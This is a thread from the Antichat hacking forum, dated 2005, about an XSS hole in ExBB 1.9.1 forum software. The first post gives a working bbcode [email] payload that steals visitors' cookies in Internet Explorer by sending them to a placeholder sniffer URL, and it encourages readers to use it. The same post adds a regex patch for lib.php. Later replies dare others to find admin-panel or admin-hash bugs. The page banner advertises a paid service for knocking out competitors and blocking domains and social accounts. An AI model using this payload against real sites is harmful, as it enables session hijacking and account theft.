XSS ExBB 1.9.1 — ANTICHAT Forum

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
XSS ExBB 1.9.1

Опции темы

Поиск в этой теме

Опции просмотра

XSS ExBB 1.9.1

14.04.2005, 01:47

Kihamo

Новичок

Регистрация: 14.01.2005

Сообщений: 4

Провел на форуме:
5921

Репутация: 0

XSS ExBB 1.9.1

Ахтунг!
Недавно в инете появилась инфа о xss в bbcode url, разрабочтик исправил ошибку, но как оказалось не везде =)
И так поехали. Сразу предупрежу, что данная бага работает только в Internet Explorer

. Суть состоит в том, что одна из форм записи bbcode email пропускает нужные нам символы, что позволяет выйти за пределы тега. Вот пример XSS

Код:

[ email]'style='display:none;background:url(javascript:document.images[2].src="http://you_sniffer_url/sniffer.php?"+document.cookie)[/email]

Думаю, что где и как все это работает объяснять не надо. Так что дерзайте =)
А теперь инфа добропорядочным юзерам. Раз разработчик думать не хочет, бум думать за него =)
Открываем файл lib.php и в примерно в 588 строке находим такой код

Код:

$post = preg_replace( "#\[email\](\S+?)\[/email\]#i", "<a href='mailto:\\1'>\\1</a>", $post );

и заменяем его на

Код:

$post = preg_replace( "#\[email\]([a-z0-9&\-_.]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+)\[/email\]#i", "<a href='mailto:\\1'>\\1</a>", $post );

За сим усе.

25.04.2005, 02:40

BNF

Познающий

Регистрация: 16.04.2005

Сообщений: 62

Провел на форуме:
53206

Репутация: 5

а если от гостя вставлять этот код то должно работать?

25.04.2005, 04:35

~~White Jordan~~

Banned

Регистрация: 21.04.2005

Сообщений: 5

Провел на форуме:
0

Репутация: -2

На этом форуме только полный идиот багу найти не сможет.

25.04.2005, 15:03

rsha1988

Участник форума

Регистрация: 03.01.2005

Сообщений: 270

Провел на форуме:
58594

Репутация: 6

Цитата:

Сообщение от White Jordan

На этом форуме только полный идиот багу найти не сможет.

хм, ну тогда если ты самый умный то найди багу через которую можно залезть в админ панель или получить хеш админа (разумееться чтоб бага работала на форуме в который админ просто не заходит)...